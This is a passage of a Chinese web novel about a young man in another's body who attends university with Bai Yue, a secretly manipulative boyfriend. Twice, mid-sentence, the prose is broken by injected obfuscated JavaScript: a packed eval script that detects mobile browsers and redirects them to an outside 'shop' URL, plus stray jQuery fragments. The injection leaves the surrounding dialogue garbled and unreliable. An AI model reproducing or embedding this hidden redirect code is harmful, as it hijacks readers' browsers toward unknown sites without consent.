然而,白越只是静静地看着他,脸上的笑意没有丝毫动摇。他轻轻点了点头,声色沙哑磁性,语气平和,面色如常: “然后呢?” ……? 然后呢? 他怎么能这么淡定啊? 沈恪愣住了,准备好的后续说辞全都卡在了喉咙里。他想过白越可能会有的各种反应,唯独没料到会是这种近乎漠然的平静。 “你、你不想问点什么吗?”沈恪问道。 白越思考了一小会,随后微微低下头去,额前的碎发滑落,遮住了小半张脸。他的声音低了下去,带着一丝不易察觉的颤抖,或者说……委屈? “你是不是又想要提分手了,阿然?”他抬起眼,眼里迅速蒙上一层水汽,在路灯下闪着脆弱的光,“是我哪里做得不对吗?我可以改的……” 不是啊!!!怎么就要哭了!!你别哭啊! 沈恪差点跳起来,连连摆手,急得语无伦次,“不不不不你没有!你做得很对!特别好!是我的问题!是我……” 他看着白越那副仿佛下一秒就要哭出来的样子,所有准备好的坦白、解释、请求,全都被一股强烈的负罪感和心软冲得七零八落。 温清然那个渣男平常到底都对你做过什么事啊!能让你一听到不是本人就立刻联想到要分手?! 那个臭渣男到底都是怎么对待感情的啊!太差劲了! “对不起!”沈恪脱口而出,声音里带着自己都没察觉的慌乱和妥协,“是我胡说的!你就当……就当我开的一个玩笑!一个不好笑的玩笑!我没有想和你分手的意思!没有!真的没有!” 白越抬起头,脸上瞬间阴转晴。平日里那张总是带着几分阴郁苍白的脸,此刻绽开一个无比灿烂的笑容,甚至看起来有些孩子气,眼睛亮晶晶的,像是盛满了星星。 他重重地点头,声音里充满了毫不掩饰的喜悦和信赖: “阿然最好了!” 你的“阿然”根本一点也不好…… 沈恪在心里默默反驳,喉头却有些发紧。他看着白越亮晶晶的眼睛,只觉得良心不安,像是有无数只小蚂蚁在细细地啃噬着。 出于同情,也出于想弥补刚才口不择言给对方带来的不安,他犹豫了一下,试探性地伸出手,轻轻落在了白越柔软的发顶。 白越的身体僵了一瞬,却没有躲开。 沈恪得到了默许,动作生疏地、带着安抚意味地,轻轻揉了两下。触感温软顺滑,感觉就像是在抚摸某种大型犬类蓬松干净的皮毛。 说起来,这还是他第一次摸别人的头呢。以往在医院,他才是被摸头的那个。护士姐姐安慰他时,妈妈心疼他时,都会这样轻轻揉他的头发。 现在角色调换,掌心下是另一个人的温度,一种奇异的的责任感和新奇,悄悄漫上心头。 感觉……好神奇。 摸别人的头原来是这种感觉…… 白越微微抬起头,看向近在咫尺的沈恪。 路灯的光晕模糊了沈恪脸上属于温清然的张扬轮廓,那双总是努力装作镇定的眼睛,此刻盛满了紧张与懊恼,还有一点点笨拙的温柔。 因为刚才的激动和一连串的冲击,沈恪的脸颊和耳朵尖早已红透,一直蔓延到脖颈,没入松垮的衣领边缘。他微微张着嘴,唇色红润,正小口小口地喘息着,温热的气息在秋夜里凝成一小团白雾,又很快消散。 看起来…… 很慌张。 很笨。 也很…… 白越眼底深处,掠过一丝冰冷的愉悦。 心底有个声音,带着餍足的叹息,轻轻响起: 怎么这么好骗啊,宝宝。 明明才认识这么点时间。只是说了几句无关痛痒的话,带着吃了顿饭。 怎么就……这么容易相信别人了呢? 稍微示弱一下,就心软了。 多危险。 *** 刷脸进入那栋属于温清然的别墅,沈恪才真正松了口气。 与白越那栋冰冷得像样品间的屋子不同,这里更有人味,就好像温清然只是中途出了趟门。 客厅虽然也装修得时尚现代,但沙发上随意扔了个游戏机,茶几上摆着喝了一半的能量饮料瓶和几本翻开的漫画,墙角堆着几个还没拆封的潮牌鞋盒。空气里弥漫着淡淡的古龙水的香气和……烟味? 沈恪皱了皱鼻子。 这个温清然怎么还是个老烟鬼啊,真讨厌,对自己健康的身体一点也不负责。 他刚把自己摔进柔软的沙发里,想要理清这混乱的一整天,手机就嗡嗡震动起来。 来电显示:祁狗。 沈恪盯着这个备注看了两秒,想起餐厅里前任提到的祈愿,迟疑地接了起来。 “喂?” “我草,温清然你他妈还活着啊?两天不回我消息,要不是在手机上看到你把我车开走了,我还以为你死了!”电话那头传来一个大大咧咧的男声,背景音有些嘈杂,像是在某个娱乐场所,“别怪兄弟啊,谁叫你骑着我的法拉驴到处浪的。于家那疯狗一来问,我就只能招了。” “……”沈恪沉默。法拉驴?是那辆红色跑车? “听说你从良了啊?”对方语气戏谑,“还跟白家那小子吃饭?咋了?改邪归正了还是说这是你骗炮的新手段啊?玩起纯爱了?” 沈恪抿了抿唇。 果然,和他预想的一样。在温清然这些朋友眼里,温清然就是个玩咖,连对白越好一点,都会被解读为骗色的新手段。 “祈愿。”沈恪打断对方滔滔不绝的调侃,问出了自己最关心的问题,“你知道晚上来的那个人……他到底是谁吗?” 电话那头沉默了两秒。 “于送风啊!你小子不会真的撞到脑袋失忆了吧?前几天在迷境酒吧,不是你主动去勾搭的人家?还打赌说一周拿下?这才几天啊,你就忘了?” 沈恪的心沉了下去。 又是一个赌局。 温清然到底把别人的感情当成了什么? 晚上光顾着觉得白越被骂了“野狗”这种话会很委屈,现在冷静下来想想……于送风那样暴怒地冲过来,指着鼻子骂他“死渣男”,还是骂得太轻了。 毕竟,谁也不希望自己只是别人酒局上的一个赌注,甚至于这个赌注还是个小三或者小四小五的身份。 要不……还是找个时间,去和于送风当面说明一下情况,道个歉吧。 虽然大概率会被当成疯子或者新的把戏,但该说的话,总得说清楚。 “哎算了,”见电话那头沉默,祈愿似乎觉得无趣,“你爱怎么玩兄弟管不住你,反正你自己悠着点吧,玩玩就行,别当真了。白小子那一家子破事你清楚得很,要说他没点心理变态我是不信的。你可别怪兄弟没提醒过你,还是趁早断了吧。” 一家子破事?心理变态? 沈恪握紧了手机。 如果他现在问祈愿这个事情,会暴露出他不是本人吗? “对了,”祈愿忽然想起什么,“顺带一提,明天是周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265375|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一,你可别忘了去上课。你翘课那么多,马上学分都快给扣完了。温老爷子前段时间才专门招呼我,让我好好看着点你,别出去鬼混。” 对方虽然语气不着调,话也多,但话语里透出的,确实是一种粗糙的关心。 尽管这关心是针对温清然的,不是给自己的。 沈恪垂下眼睫,低声道:“……谢谢。” 电话那头又沉默了几秒。 “我草,”祈愿的声音充满了难以置信,“你居然还会说谢谢了?我说啊,你真的是温清然吧?不会被夺舍了吧?” 沈恪心头一跳,差点以为对方发现了什么。他干咳一声:“胡说什么呢。” “行吧行吧,挂了,我这边妞等着呢。明天学校见,记得来上课啊!” 电话挂断。 沈恪握着手机,靠在沙发里,只觉得身心俱疲。 明天还要上课……他揉了揉眉心。看来去医院查自己身体的事情,又得往后推了。 他点开通讯软件,找到辅导员的对话框,斟酌着措辞,编了一条说明自己身体不适需要请假的短信发了过去,情感十足。 几乎是秒回。 辅导员:【微笑.jpg】 辅导员:【你这学期已经请了超过规定时限的事假。再请假,平时分扣完,直接记挂科。你自己掂量。】 辅导员:【补考的时候记得带上你的请假条。】 沈恪:“……” 这么严格吗? 他手指飞快:【对不起老师!我明天一定准时到!不敢了!】 发完,他哀叹一声,把脸埋进沙发靠垫里。 这都什么事儿啊! 刚躺倒没一会儿,手机又震动了一下。 他摸过来一看,是白越发来的消息。 【白越】晚安,宝宝。 【白越】今天很开心。 【白越】明天记得去上课喔,我送你去学校。 【白越】希望明天也能见到你。 【白越】【小狗睡觉.jpg】 那是一只毛茸茸的白色小狗,蜷缩在柔软的毯子里,睡得正香,表情安详又可爱。 果然是白越的风格啊,看起来温温柔柔的。 沈恪的心莫名软了一下。 他点了一下那个表情,选择了收藏。 然后他点开温清然的表情包库,想找个合适的回复。里面除了各种嚣张的熊猫头,就是一堆意义不明、甚至带点颜色的小黄图。 沈恪:“……” 他面无表情地关掉表情包,老老实实打字。 【然】晚安! 【然】我也很开心。 至于明天见不见得到……明天再说吧!他得先想想怎么在不让白越发现异常,也不被辅导员发现旷课的情况下,溜去医院看看。 放下手机,沈恪从沙发上爬起来,决定先睡觉。他打开衣柜,里面塞满了各种潮牌衣服。他翻了半天,才在最底层找到一套看起来最普通柔软的纯棉睡衣,又抱出一床看起来还没怎么用过的新被子,把床上那套散发着陌生香水味的寝具整个换掉。 把自己洗漱干净,裹进带着阳光晒过气息的新被子里,沈恪才终于有了一丝家的实感。 他在柔软的大床上滚了好几圈,把自己卷成一个蚕蛹,只露出半张脸。 窗外月色正好,透过轻薄的窗帘洒进来。 “晚安,”他对着空气,小声地说,“世界。” 也晚安,不知道在何处的、我真正的身体。 希望你还好好地活着。 带着这个念头,疲惫如潮水般涌来,将他拖入了沉沉的睡眠。 7. 谁会喜欢 早上七点,沈恪准时醒来。 他打了个长长的哈欠,翻身下床。走到卫生间,拧开水龙头,捧起冷水泼在脸上。 冰凉的水珠顺着下颌线滑落,他抬起头,看向镜子里那张脸。 浅金色的头发睡了一夜后有些凌乱,银色耳钉在晨光中闪着光泽。嘴角天生上扬,左侧那颗小痣在皮肤上格外明显。 除了嘴角的痣一样,这张脸和自己的没有任何相似之处。 沈恪的手指轻轻碰了碰镜面。真实的他,脸色应该是病态的苍白的,眼底有因为睡眠不足和病痛折磨留下的淡淡青黑。下巴更尖些,脖颈和锁骨的线条会因为消瘦而过分清晰…… 他猛地甩甩头。 不要想这个了。 沈恪用力拍了拍自己的脸颊。 起床了!白天了!把昨天的烦恼全都丢回去! 几乎是刚洗漱完的瞬间,门铃便响了。 沈恪快步下楼,透过门边的监控看了一眼,是白越。 他打开门。 白越今天换了身打扮,浅灰色的连帽卫衣搭黑色工装裤,外面罩了件卡其色的风衣,鼻梁上架着一副细边黑框眼镜。额前的碎发依旧垂着,遮住小半眉眼,却意外地让他整个人看起来干净利落,有种清爽感。 “早上好,阿然。”白越的声音带着晨起的微哑,很好听。 沈恪侧过身让他进来,这才注意到他手里提着一个藤编饭盒。 “这是……?” “早餐。”白越很自然地在餐桌边坐下,打开饭盒盖子。里面是分装好的三菜一汤:清炒西兰花、番茄炒蛋、一小份煎鸡胸肉,还有冒着热气的紫菜蛋花汤。卖相精致,香气扑鼻。 “早上就不吃太多了,好吗?”白越抬起头看他,眼镜后的眼睛弯成温柔的弧度。 沈恪连连点头,在对面坐下。他看着眼前丰盛的早餐,又看看白越:“这是你家厨师做的吗?” 白越摇了摇头:“别墅里只有我一个人。”他顿了顿,声音低了下去,“小时候不受长辈欢迎,没有谁愿意来照顾我。做饭也是那时候自己学的。” “不过也没什么人愿意吃,无所谓了。”他嘴角依然挂着笑,拿起筷子轻轻拨弄着碗里的米饭。 沈恪握着筷子的手紧了紧。 他不知道白越是在什么样的环境下长大的,只觉得…… 有点可怜。 这么温柔的白越,不该被这样对待的。 沈恪放下筷子,认真地看向白越,然后伸出手,轻轻戳了戳他的胳膊。 白越抬起头,眼神里带着茫然。 沈恪的声音格外响亮,像是要驱散什么阴霾:“其实你烧菜很好吃的!简直就是大厨!” 他毫不吝啬赞美之情,眼睛亮晶晶的:“这个西兰花炒得刚刚好,又脆又绿!番茄炒蛋的蛋特别嫩,番茄的酸甜也刚好!鸡胸肉一点都不柴!汤也特别鲜!” 随着他一句句的夸赞,白越的眼睛一点一点亮了起来。 他忽然起身走到沈恪的身边坐下,额头轻轻抵在对方的肩上,闷闷地笑出声。温热的呼吸隔着薄薄的睡衣布料,带来一阵细密的痒意。 沈恪整个人僵住了。两只手悬在半空,不知道该往哪放。最后,只能凭借直觉,在白越的后背上轻轻拍了两下,声音放软了些:“你真的很厉害。一个人能把生活打理得这么好,还会做这么好吃的饭……特别厉害。” 白越没有立刻起身。 在沈恪看不见的角度,他的视线聚焦在餐桌的某一点,嘴角的笑意深了些。 心底有个声音,轻轻响起: 啊啊,真好骗。 明明和那人顶着相同的脸…… 为什么说出的话,会是截然相反的风格呢? 你又是谁呢? *** 为了防止祈愿又把他的行踪泄露给于送风,再惹出事端,在沈恪的再三暗示下,白越换了一辆低调的黑色卡宴带他过去。 车子在离C大正门还有半公里的地方缓缓停下。 白越解开安全带,却没有立刻下车。 沈恪疑惑地转头看他:“你今天……没课吗?” 他分明记得,在温清然手机的联系人分类里,白越被分在同学那一栏。而且昨天祈愿电话里也提过,他们是一个班的。 应该是同一份课表才对。 白越垂着眼。他的声音很低,带着一种近乎讨好的犹豫:“因为阿然以前说……在学校里要装作跟你不认识。你让我不要妨碍你学习……” 沈恪:“……” 温清然一个光靠逃课就能把平时分扣光的人,哪可能有那么爱学习啊!那分明就是借口!是他为了方便拈花惹草而找的借口! 沈恪的胸腔里堵着一股憋闷,他解开自己的安全带,微微倾身凑近白越,努力扯出一个最真诚的笑容: “……那是之前的事了。过去说的话,做不得数的。” “现在,我们是情侣了,对吧?” 白越的睫羽颤了颤。 沈恪直视着白越略微失焦的眼,继续说:“我们一起走去教室吧?好嘛?” 白越定定地看了他好一会儿,从眉间、从眼睫、再到纠结微抿的唇,过了半晌,他才低低地笑出声: “……好。” 停好车,两人一前一后走在通往教学楼的林荫道上。 C大的校园比沈恪想象中还要大。梧桐树高大的枝叶在头顶交错,阳光透过缝隙洒下斑驳的光点。穿着迥异的学生们匆匆走过,远处传来模糊的广播声。 一切都充满生机。 但沈恪却无心欣赏。他能明确感觉到,白越的情绪不太对劲。 白越始终走在他身后半步的位置,不远不近,像个沉默的影子。那种被人从后方注视的感觉让沈恪浑身不自在。 他终于没忍住,停下脚步,转身看向白越。 白越也跟着停下,微微歪头,用眼神询问。 沈恪短暂地纠结了两秒,然后像是下定了什么决心,一步跨到白越身边,伸出手,有些生硬地牵起了白越垂在身侧的手。 白越明显怔住了,目光落在两人交握的手上。 不对。 这不是他预设中的反应。 在他的剧本里,这个不知道是温清然第二人格还是什么的人,他会垂下头,手指不安地绞在一起,声音发虚地道歉,或者笨拙地解释。然后,自己就可以顺理成章地表现出宽容和体谅,用温柔将对方更深地包裹进负罪感的茧房里。 示弱、激发同情、将人拉近、缓步追击,这才是他熟悉的、令人安心的掌控节奏。 他本该按照这个性格模板,给出让人愉悦的愧疚反应才对。 可是,沈恪选择了另一条路。 一条笔直的、笨拙的、完全超出了他所有预测和计算的路。 白越看着两人相牵的手,心里忽然涌起一股极其陌生的感觉。 沉甸甸的,毛茸茸的。 还有点陌生的痒。 这感觉让他瞬间警惕,却又……奇异地并不讨厌。 沈恪撞着胆子牵起白越的手后又不敢看他的眼睛,只盯着前面的路,脸颊却以肉眼可见的速度红了起来。他清了清嗓子,声音不大,却说得格外认真: “……我是你男朋友。我们牵个手而已,不过分吧!” 就像只被丢进了狼窝,却还试图用自己那点体温去温暖天敌的可怜小鹌鹑呢。 白越这么想着,眼底掠过一丝笑意,反手便将沈恪的手完全包裹进自己的掌心,收紧。 “你走错路了,男朋友。”他轻声提醒,“金融的教室在另一边。” *** 当他们牵着手走进阶梯教室时,引起了一小片骚动。 沈恪完全没注意到那些好奇或是戏谑的目光。他的注意力完全被眼前的景象吸引了。 好大的教室!能坐下一百多人!前面是巨大的智能触控屏幕,甚至每个人的座位都有独立的桌板,椅子看起来也很舒服! 沈恪的眼睛亮得惊人,几乎是小跑着冲到了最前排正中央的位置坐下,还拍了拍旁边的座位,示意白越坐过来。 白越在他右手边坐下,动作自然得仿佛本该如此。 就在这时,一个染着夸张蓝发、耳朵上挂着一排耳钉的男生旋风般冲了过来,一屁股坐在沈恪身后的座位上,胳膊搭在椅背上,一脸八卦: “喂喂喂,温大少爷,你俩还真好上了啊?” 是祈愿。他今天穿了件印着巨大骷髅头的黑色T恤,整个人散发着“我是不良”的气息。 他毫不在意当事人在场,嗓门大得半个教室都能听见:“怎么还牵着手进来了?玩真的?” 周围传来几声压抑的嗤笑,有人小声附和:“他俩玩玩而已的吧,温少不是一直这样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265376|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “就是说啊,谁会喜欢那个阴暗批。” 沈恪下意识地看向白越。 白越正低着头,碎发遮住了大半张脸,看不清表情,声音轻得几乎听不见:“没事的……我习惯了。” 沈恪的心脏像被针扎了一下。 不可以习惯啊……这分明就是霸凌! “你不可以这么说他!” 沈恪猛地站起来,声音大得把自己都吓了一跳。整个教室瞬间安静下来,所有人的目光齐刷刷地聚焦在他身上。 他的脸涨得通红,声音却很清晰: “我们牵个手而已,才不用你们来评价!他是什么人,你们也管不着!” 他转过头,看向白越,眼神里写满了“你也说两句啊”。 白越却只是抬起头,安静地看着他,没有说话。 沈恪在心里急得直跺脚。 明明那么厉害,那么有钱,怎么能在这种事情上受气呢! 就在这时,教室前门被推开,一个穿着Polo衫的年轻男老师抱着笔记本电脑走了进来。他看了眼僵持在教室前排的几人,又看了眼还站着的沈恪,忽然鼓了鼓掌。 “首先啊,”老师声音洪亮,“表扬一下温同学终于来上课了,值得鼓励。” 教室里响起一阵低低的笑声。 “其次,进来前我就听见了,”老师走到讲台后,放下电脑,推了推眼镜,语气调侃,“你俩想谈恋爱可以坐到后面去,老师在台上看见你们坐在前排你侬我侬会讲不下去课。我还是个没人管的单身狗呢?” 哄堂大笑。 沈恪的脸红得快要滴血,连忙坐下了。 “行了行了,”老师摆摆手,“都安静。爱耍手机的耍,补觉的补,别耽误我上课。我们今天讲货币政策传导机制……” 其他人嬉笑着回到座位,教室逐渐安静下来。 沈恪的心脏还在扑通扑通狂跳,手心全是汗。 一只微凉的手指轻轻戳了戳他的胳膊。 沈恪转头。 白越趴在桌上,侧着头看他。晨光从窗户斜斜照进来,在他脸上镀上一层柔软的金色。他对着沈恪露出一个干净又柔软的笑容,眼睛弯成了漂亮的月牙。 “我好开心啊,宝宝。”他的声音很轻,只有两人能听见,“谢谢你帮我说话。” 他顿了顿,声音更低了,带着点后知后觉的怯意:“其实……我刚才好害怕。怕他们又像以前那样说难听的话,怕你会觉得和我在一起很丢脸,就又不想理我了。” 他垂下眼睫,嘴角的笑容变得有些勉强: “不过现在不会啦。有宝宝在,我就不怕了。” 他抬起眼,重新看向沈恪,那双狐狸眼里盛满了被安抚后的幸福: “宝宝对我最好了,对不对?” 扑通。 沈恪清晰地听到了自己心脏重重跳动的声音,脸颊和耳朵也瞬间烧了起来,热度惊人。他想移开视线,却被那双盛满了爱意的眼睛牢牢锁住,动弹不得。 这……这让人怎么回答啊!说“对”好像太自恋了,说“不对”又肯定会伤到他…… 而且、而且现在还在上课呢!白越这些话也是对“温清然”说的!是对那个把他伤得遍体鳞伤的渣男说的!他怎么可以认下呢! 沈恪正手足无措着,桌下,一根微凉的小指,轻轻勾住了他的小指。 沈恪整个人像过了电一样,猛地一颤,差点从椅子上弹起来。 “之后上课,”白越的声音压得更低,带着一点小心翼翼的试探,“我也可以像今天这样……坐在宝宝身边吗?” 白越勾住的小指传来持续不断的痒意,顺着手指一路窜上脊椎,让他的后背都绷紧了。 沈恪的大脑彻底宕机,耳边只剩下自己震耳欲聋的心跳。 他像是被逼到悬崖边的小动物,不自然地清了清嗓子,猛地扭过头看向前方的大屏幕,耳根红透: “……上、上课期间就不要再找我聊天了!” 他会受不住的。 完全就是一副丢盔弃甲、落荒而逃的惨状。 而在他看不见的角度。 白越依旧维持着侧头趴伏的姿势,目光落在沈恪通红的耳廓上。 真好玩。 他在心里轻轻喟叹。 反正…… 只要稍稍装一装柔弱,他一定不会拒绝的。 8. 我会吃醋 这节课讲的是中级宏观经济学。沈恪开始还有些心神不宁,但很快,他的注意力就被讲台上的内容完全吸引了。 老师的声音清晰有力,屏幕上不断切换着图表和公式。虽然货币供给、利率渠道、信贷配给什么的术语理论对沈恪来说如同天书,他一句也没听不懂,但这并不妨碍他感受到一种前所未有的兴奋。 他越听越精神,眼睛亮得像两颗浸在水里的黑曜石,整个人散发着近乎虔诚的光晕。 后排几个学生压低了声音窃窃私语: “我靠,这门课不及格是会怎样啊?会被退学?怎么连温少都开始记笔记了?” “不知道啊……可能到时候会有三体人入侵地球?” “那太好了赶紧的,这早八我是一天也上不下去了。我负责发送坐标。” “我负责按下按钮。” “我负责找二向箔。” “我负责爽聊八卦。说起来他旁边坐的是白越吧?他俩真搞上了?他不是喜欢妖艳贱货那一挂的吗?白越那种……差了点吧?” “我要是知道有钱人都怎么想的,我这会应该不在教室,而是在华盛顿敲钟。” 沈恪对这一切浑然不觉。他像块海绵,贪婪地吸收着每一点知识。 好开心。 真的好开心。 原来坐在这里,听自己听不懂但感觉很厉害的东西,是一件这么幸福的事情。 下课铃打响时,沈恪甚至有些意犹未尽。老师简单布置了课后作业,合上电脑,走下了讲台,径直来到沈恪面前。 他拍了拍沈恪的肩膀,脸上带着欣慰又调侃的笑:“好好读。就冲你今天坐第一排还记笔记这个劲头,只要后面课都来,平时分我给你打满。” 沈恪立刻站起来,朝着老师郑重鞠躬:“谢谢老师!” 老师被他这过于正式的反应弄得一愣,随即笑得更开了,摇摇头走了。 老师刚走开,祈愿就像阵风一样从后排卷了过来,一屁股坐在沈恪左边的空位上,伸手就去拿沈恪桌上的笔记本。 “我看看我看看,”他把笔记本倒过来抖了抖,“这里面也没藏手机啊?你居然真的在学习?” 沈恪一把抢回本子抱在怀里:“再不来上课要挂科的!” 祈愿用看外星人的眼神上下打量他,最后指了指白越:“你跟我说实话,是不是他给你下蛊了?谈个恋爱还能让人变性?从玩咖变学霸?” 沈恪不喜欢他这种轻佻的语气,尤其是当着白越的面。他皱了皱眉,语气严肃起来:“你这话真的很过分!” “行吧行吧,我过分,是我过分。”祈愿举起双手做投降状,站起身,“下节课就让你的亲亲白越带你过去吧,可别迟到了。”他走到过道,又回头,像是忽然想起什么,补充道: “哦对了,别忘了,温叔给我的看管费,咱俩可是说好要均分的,你可别挂科啊,挂了就没钱了。” 均分?什么钱? 沈恪一愣,想问清楚,祈愿却已经吹着口哨,晃出了教室。 他戳了戳白越:“走吧,我们也去下一节课。” 白越站起身,跟在他身后走出教室。从上课开始,他就一直很安静,安静得有些反常。 两人走在连接教学楼和实验楼的僻静小路上,周围没什么人。 白越忽然开口,声音轻轻的,带着点不易察觉的委屈: “宝宝,你朋友是不是不喜欢我啊?” 沈恪转头看他:“啊?” 白越低着头:“他对我好凶……对你说话的态度也很差。是不是因为我们谈恋爱的事,让他不高兴了?” 沈恪完全没听出这话里的挑拨意味,只当白越是在不安。他想了想,认真地解释:“他不是不喜欢你,他就是……”他顿了顿,努力寻找着合适的措辞,“就是不会说话!性格比较直!” 白越抬起眼,看了沈恪两秒,又缓缓垂下睫毛:“这样啊。” 他似乎接受了这个解释,但语气里那种淡淡的失落感,依旧萦绕不散。 *** 第二节课在实验楼的计算机教室。当授课老师看到“温清然”出现在课堂上时,露出了和上午那位老师如出一辙的惊讶表情。 这节课沈恪同样听得云里雾里,但他依旧努力地盯着屏幕,试图从那片混沌中抓住一点自己能理解的东西。他甚至尝试着按照老师的演示,在电脑上笨拙地敲击了几下,然而很快就被跳出的错误提示弄得手忙脚乱。 课程结束得很快。沈恪收拾好东西,拉着白越,随着下课的人潮往食堂方向走。走着走着,不知何时,就成了白越自然地握着他的手,引领他在人群中穿梭的姿势。 正值中午,C大食堂里人声鼎沸,各个窗口前都排着长队。 沈恪有些兴奋,又有些无措。他住院时吃的都是清淡的病号餐。后来在白越那里,吃的也是精致的家常菜。这种拿着餐盘自己排队打菜的的集体食堂,对他来说新鲜极了。 他正踌躇着该吃什么时,一个甜腻的男声,忽然从旁边插了进来: “Honey~~~~~~~!” 那声音千回百转,像浸在了蜂蜜罐罐里。 “终于让我逮到你了~~!我好想你啊,老公~~!” 老、老公?! 谁老公? 沈恪浑身的汗毛猛地炸起,他僵硬地转过头。 一个身材纤细的男生正笑盈盈地看着他。男生化了淡妆,皮肤白皙,五官艳丽,此刻正扭着身子走过来,在周围人各异的目光中,像只八爪鱼一样,紧紧贴上了沈恪的胳膊。 “你怎么都不回我消息呀?是不是有了新欢,就忘了旧爱了?”男生仰着脸,嘟着嘴,语气娇嗔。 这话刚落地,沈恪就感觉到白越那只握着自己的手猛地收紧。力道大得惊人,疼痛让沈恪瞬间清醒,却也让他更加慌乱。 他的大脑一片空白,耳边嗡嗡作响,只剩下一个念头: 温清然! 你到底还有多少情债没还!! 先是手机列表里那几百个暧昧对象,然后是暴躁的于送风,现在又是这个…… 为什么连来学校食堂吃个饭,都能遇到前男友啊?! 沈恪想挣脱,对方却贴得死紧,柔软的身体几乎要嵌进他胳膊里,还在不依不饶地吵吵嚷嚷: “不行不行,你今天必须给我说清楚!你是不是不爱我了?你之前在床上抱着我,向我倾诉你原生家庭多痛苦的时候,不是喊我宝贝的吗?怎么现在就这么冷酷?你个坏蛋!” 这人实在难缠,沈恪没招了,脸涨得通红,压低声音试图讲道理:“这位同学,你、你别这样。有什么事我们私底下说好吗?” “不嘛不嘛!”男生反而贴得更紧,“我就要现在说!你亲我一口,亲我一口我就放你走!” 周围已经有不少人停下脚步,投来看戏的目光,窃窃私语声四起。 沈恪尴尬得想找个地缝钻进去。他试图掰开男生的手,却害怕力气过大会伤害到对方,语气近乎哀求:“那可不可以先放我去打饭啊?我饿了……” 男生新奇地看了他一眼,好像沈恪的窘迫反而让他更来劲了。 “Oh, Honey~”他拖长了调子,手指暧昧地划过沈恪的下巴,“你居然会请求别人了?你家里那两个老混蛋,终于舍得花钱给你请礼仪老师,把你教育好了?” 沈恪没时间细想。白越握着他的手,力道已经大到他感觉骨头快要裂开。他侧过头,看到白越正静静地看着那个紧贴着他的男生。 白越的脸上没有什么表情。没有愤怒,没有嫉妒,甚至没有不悦。他只是静静地看着,目光落在男生贴着沈恪的胳膊上,落在男生几乎蹭到沈恪颈侧的脸颊上。 察觉到沈恪的视线,他露出了安抚性的笑,随后极其自然地上前半步,用自己的身体侧身半包裹住沈恪,将人轻轻往自己身侧带了一步。手轻轻搭在了沈恪的另一侧肩膀上,掌心温热,带了点力道,令他更稳固地拢向自己。 距离太近了,近到沈恪甚至能听到白越平稳的呼吸声,就在自己耳畔。 他几乎能感觉到白越胸膛的轮廓隔着两层衣物贴着自己的上臂,白越的气息野也因为距离拉近而变得更加清晰,从四面八方包裹住他。 脸颊和耳朵不受控制地开始发烫。他想动,想稍微拉开一点距离,可稍一动作,对方的力道更大了。 于是就只能僵硬地站在原地,任由白越半拥着,像个被摆弄的娃娃。 “学长,”白越的声音响起,带着困惑和关心,“你还好吗?是不是身体不舒服?怎么站都站不稳了?” 他微微蹙着眉,看向那个妆容精致的男生,眼神里是纯粹的担忧。 那男生被他这突如其来的介入弄得一愣,挂在沈恪胳膊上的手不由松了些。 白越顺势侧身,将沈恪更彻底地挡在自己身后,轻声对那男生说: “阿然最近胃不太好,医生说要静养,不能受刺激。”他顿了顿,语气更加柔软,带着恳求,“可以请你稍微保持一点距离吗?我担心他。” 那男生被噎了一下,脸色变了变,看看白越,又看看被白越护在身后的沈恪,忽然嗤笑一声: “Honey,你真喜欢上这寡淡的干瘪小子了?胃疼要静养?怎么一股子绿茶味啊。” 寡淡?干瘪?绿茶? 沈恪自然知道这个词在特定语境下是什么意思。他不认为白越是在装,那些小心翼翼和失落明明那么真实。 男生纠缠自己是因为温清然的花心,这个没什么好说的,他现在用的是温清然的身体,自然要承担对方的罪责。可对方对白越搞人身攻击,就是实打实的不对了。 也因此,沈恪心里那点因为被纠缠而产生的不适,瞬间转为了不悦。 他忍不住又看了一眼白越。 白越此刻正微微垂着头,额发遮住了眼睛,看不清表情。即便被这样羞辱,他都没有反驳,只是沉默地站在那 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直到走出老远,两人在通往小食堂的林荫道上停下,沈恪微微喘气,脸颊因为疾走和刚才的尴尬而泛红。他松开白越的手,有些不好意思:“对、对不起啊,害你也没吃上饭……” 白越轻轻摇头,目光却若有所思地望向食堂的方向,低声自语般喃喃:“廖辰学长……他怎么会在这里?他不是应该和于送风学长他们在西区艺术楼准备周末的展演吗?” 他的声音很轻,仿佛只是无心的疑惑。 “周末有展演啊……”沈恪下意识地重复了一句,思绪却顺着这个词飘远了。 展演……听起来就很热闹,有很多人的样子。应该会有很多人在舞台上发光发热吧?像妹妹以前总跟他描述的学校里的文艺汇演那样。 可惜,他大概是看不到了。 他得趁着周末去A市。今晚回去,就给爸爸妈妈打个电话吧?用温清然的手机打过去,他们会听出来声音不对吗?不过没关系,他可以解释,就说自己手术很成功,只是嗓子出了点问题,他现在恢复得很好,想他们了。然后,周末就去医院,找医生问问,自己的身体到底怎么样了…… 希望一切顺利。 他的思绪已经飘到了遥远的A市,脸上不自觉地露出一丝忐忑与期待。 因此,他完美地错过了白越那句话里最关键的点——廖辰此刻不应该出现在这里,而白越,甚至知道他们的行踪。 他只是觉得,艺术生有展演要准备,是很正常的事情。至于廖辰为什么没在准备,也许只是出来吃个饭?毕竟食堂离艺术楼也没那么远。更别说大学生们都是全员饿人。 他用自己的逻辑,给一切找了个简单合理的解释。 然后,他收回飘远的思绪,看向身边微微低着头沉默的白越,觉得对方一定还在为刚才被说绿茶而难过。 